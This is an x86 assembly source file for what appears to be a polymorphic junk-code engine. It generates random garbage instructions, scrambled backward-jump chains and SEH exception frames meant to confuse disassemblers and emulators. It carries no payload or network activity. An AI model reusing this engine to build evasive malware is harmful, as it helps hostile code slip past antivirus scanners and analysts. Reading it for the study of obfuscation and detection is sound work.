; ---------------------------------------------------------------------------
; EDI = where to store
;
; This one generates code like this:
; jmp over_garbage
; <totaly random generated garbage>
; <normal garbage>
; max: up to 20 "instructions"
; ---------------------------------------------------------------------------
hardcode_garbage_i:
pushad
mov ebx,edi
lea edi,hardcore_temp
mov eax,20
call random_eax
mov ecx,eax
add ecx,4
h_fill: mov eax,2
call random_eax
test eax,eax
jnz h_hard
call gen_garbage_i
jmp h_cont
h_hard: mov eax,5
call random_eax
mov edx,eax
inc edx
xor esi,esi
h_hard_fill: mov eax,0FFFFh
call random_eax
stosb
inc esi
dec edx
jnz h_hard_fill
loop h_fill
jmp h_done
h_cont: add edi,eax
loop h_fill
h_done: lea ecx,hardcore_temp
sub edi,ecx
mov ecx,edi
mov byte ptr [ebx],O_JMP
inc ebx
mov byte ptr [ebx],cl
inc ebx
push ecx
mov edi,ebx
lea esi,hardcore_temp
rep movsb
pop eax
add eax,2
mov [esp+PUSHA_STRUCT._EAX],eax
popad
ret
; -------------------------------------------------------------
; Generates backwards jumps
; -------------------------------------------------------------
; EDI = buffor
gen_bjumps:
pushad
mov ebx,edi
mov byte ptr [jmp_flag],0
mov byte ptr [jmp_flag_b],0
mov dword ptr [count_jmp],0
mov dword ptr [where_where],0
mov dword ptr [jmp_bytes],0
mov byte ptr [do_push],0
mov byte ptr [where_losed],0
mov byte ptr [ebx],O_JMP
mov dword ptr [where_start],ebx
add dword ptr [where_start],2
inc ebx
xor esi,esi
add edi,2
add dword ptr [jmp_bytes],2
gen_gar_i: mov eax,20
call random_eax
mov ecx,eax
add ecx,10
gen_gar_ii: call gen_garbage_i
add dword ptr [jmp_bytes],eax
add esi,eax
add edi,eax
cmp byte ptr [jmp_flag],1
jne gen_gari_ix
add dword ptr [count_jmp],eax
jmp gen_gari_ixx
gen_gari_ix: push eax
mov eax,2
call random_eax
mov edx,eax
pop eax
cmp byte ptr [where_losed],1
je gen_gari_ixx
add dword ptr [where_start],eax
cmp edx,1
je gen_gari_ixx
mov byte ptr [where_losed],1
gen_gari_ixx: mov eax,3
call random_eax
cmp eax,2
jne cont_gari
cmp byte ptr [jmp_flag],1
je cont_gari
mov byte ptr [jmp_flag],1
mov byte ptr [edi],O_JMP
inc edi
mov dword ptr [where_jmp],edi
inc edi
add esi,2
cont_gari: loop gen_gar_ii
mov eax,esi
mov byte ptr [ebx],al
cmp byte ptr [jmp_flag],1
je cont_gari2
mov byte ptr [edi],O_JMP
inc edi
mov dword ptr [where_jmp],edi
inc edi
cont_gari2: mov dword ptr [where_where],edi
add dword ptr [jmp_bytes],2
mov eax,5
call random_eax
inc eax
mov ecx,eax
cont_gari3: call gen_garbage_i
add dword ptr [jmp_bytes],eax
add edi,eax
add dword ptr [count_jmp],eax
loop cont_gari3
mov byte ptr [edi],O_JMP
mov eax,edi
sub eax,dword ptr [where_start]
add eax,2
neg eax
pushad
add edi,2
mov eax,4
call random_eax
mov ecx,eax
test ecx,ecx
jz cont_gari4
place_gar: mov eax,0FFh
call random_eax
inc dword ptr [count_jmp]
inc dword ptr [jmp_bytes]
stosb
loop place_gar
cont_gari4: add dword ptr [count_jmp],2
mov eax,dword ptr [count_jmp]
mov edx,dword ptr [where_jmp]
mov byte ptr [edx],al
popad
mov byte ptr [edi+1],al
add dword ptr [jmp_bytes],2
mov edx,dword ptr [where_where]
sub edx,dword ptr [where_jmp]
dec edx
mov ecx,edx
mov edx,dword ptr [where_jmp]
inc edx
cmp ecx,0
jle cont_no_xor
cont_xor: mov eax,0FFh
call random_eax
xor byte ptr [edx],al
inc edx
loop cont_xor
cont_no_xor: mov byte ptr [do_push],1
mov edx,dword ptr [jmp_bytes]
mov [esp+PUSHA_STRUCT._EAX],edx
popad
ret
jmp_bytes dd 0
where_losed db 0
where_where dd 0
where_start dd 0
count_jmp dd 0
where_jmp dd 0
jmp_flag db 0
jmp_flag_b db 0
; -------------------------------------------------------------
; Generates SEH frames/exceptions/etc.
; -------------------------------------------------------------
; EDI = buffor
FS_PREFIX equ 064h
seh_push_fs db 0ffh, 030h, 2h, C_SRC
seh_mov_fs db 089h, 020h, 2h, C_SRC
seh_pop_fs db 08fh, 000h, 2h, C_SRC
_mov_reg_esp db 08bh, 0c4h, 2h, C_DST ; mov reg,ESP
_add_reg_num db 081h, 0c0h, 2h, C_SRC ; add reg,NUM (we must typo NUM by hand: 4) LEN=6
_mov_reg_oreg db 08bh, 000h, 2h, C_BOTH ; mov reg,[REG]
_mov_dreg_num db 0c7h, 080h, 2h, C_SRC ; mov [reg+NUM],0 (add NUM by hand) LEN: A
_add_dreg_num db 081h, 080h, 2h, C_SRC
exception_table:
db 0CCh ; int 3
db 0fah ; cli
db 0fbh ; sti
exception_table_size = $-offset exception_table
gen_seh:
pushad
xor edx,edx
mov ebx,edi
mov byte ptr [edi],0E8h
mov dword ptr [edi+1],0
add edx,5
add edi,5
push edi
lea esi,allowed_regs
mov ecx,x1_tbl_size
push esi
push ecx
lea edi,allowed_regs_temp
rep movsb
pop ecx
pop edi
pushad
mov eax,x1_tbl_size
call random_eax
cmp eax,M0_EAX
jne reg_p
inc eax ; somehow :) EAX usage results with invalid disposition error
reg_p: rep stosb
mov edi,[esp+PUSHA_STRUCT_SIZE]
lea esi,_mov_reg_esp
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
add [esp+PUSHA_STRUCT_SIZE],eax
add edi,eax
lea esi,_add_reg_num
call garbage_hand
add edi,2
mov dword ptr [edi],0Ch
add dword ptr [esp+PUSHA_STRUCT._EDX],6
add [esp+PUSHA_STRUCT_SIZE],6
add edi,4
lea esi,_mov_reg_oreg
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
add [esp+PUSHA_STRUCT_SIZE],eax
add edi,eax
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],04h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],08h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],12h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],16h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_add_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+1
add [esp+PUSHA_STRUCT_SIZE],0ah+1
add edi,2
mov dword ptr [edi],0b8h
add edi,4
mov dword ptr [where_over],edi
add edi,0ah-6
mov byte ptr [edi],0C3h ; ret
inc edi
popad
mov byte ptr [ebx+1],dl
sub byte ptr [ebx+1],5
mov eax,x1_tbl_size
call random_eax
rep stosb
pop edi
lea esi,_i_xor_r
call garbage_hand
add edi,eax
add edx,eax
mov byte ptr [edi],FS_PREFIX
inc edi
inc edx
lea esi,seh_push_fs
call garbage_hand
add edi,eax
add edx,eax
mov byte ptr [edi],FS_PREFIX
inc edi
inc edx
lea esi,seh_mov_fs
call garbage_hand
add edi,eax
add edx,eax
call reset_regs
xor ebx,ebx
mov eax,exception_table_size
call random_eax
mov cl,byte ptr exception_table[eax]
mov byte ptr [edi],cl
inc edx
inc edi
inc ebx
call fill_trash
add edx,eax
add ebx,eax
add edi,eax
push edi
mov edi,dword ptr [where_over]
mov dword ptr [edi],ebx
pop edi
call finalize_seh
add edx,eax
mov [esp+PUSHA_STRUCT._EAX],edx
popad
ret
where_over dd 0
allowed_regs_temp db x1_tbl_size dup (0)
finalize_seh:
pushad
call gen_regs
xor edx,edx
lea esi,_i_xor_r
call garbage_hand
add edi,eax
add edx,eax
mov byte ptr [edi],FS_PREFIX
inc edi
inc edx
lea esi,seh_pop_fs
call garbage_hand
add edi,eax
add edx,eax
call reset_regs
inc dword ptr [push_number]
lea esi,_i_pop
call garbage_hand
add edx,eax
add edi,eax
mov [esp+PUSHA_STRUCT._EAX],edx
popad
ret
fill_trash: pushad
xor ebx,ebx
mov eax,20
call random_eax
mov ecx,eax
test eax,eax
jz done_fill_trash
fill_trash_x: mov eax,0FFh
call random_eax
stosb
inc ebx
loop fill_trash_x
done_fill_trash:
mov [esp+PUSHA_STRUCT._EAX],ebx
popad
ret
reset_regs:
pushad
lea esi,allowed_regs_temp
mov ecx,x1_tbl_size
lea edi,allowed_regs
rep movsb
popad
ret
gen_regs: pushad
mov eax,x1_tbl_size
call random_eax
lea edi,allowed_regs
mov ecx,x1_tbl_size
rep stosb
popad
ret
set_random: pushad
mov eax,6
call random_eax
cmp eax,5
jne not_set
call gen_bjumps
jmp le_set
not_set: xor eax,eax
le_set: mov [esp+PUSHA_STRUCT._EAX],eax
popad
ret
random_setup proc
@callx GetTickCount
mov Random_Seed,eax
ret
random_setup endp
Random_Seed dd 0
random_eax proc
PUSH ECX
PUSH EDX
PUSH EAX
db 0Fh, 31h ; RDTSC
MOV ECX, Random_Seed
ADD EAX, ECX
ROL ECX, 1
ADD ECX, 666h
MOV Random_Seed, ECX
PUSH 32
POP ECX
CRC_Bit: SHR EAX, 1
JNC Loop_CRC_Bit
XOR EAX, 0EDB88320h
Loop_CRC_Bit: LOOP CRC_Bit
POP ECX
XOR EDX, EDX
DIV ECX
XCHG EDX, EAX
OR EAX, EAX
POP EDX
POP ECX
RETN
random_eax endp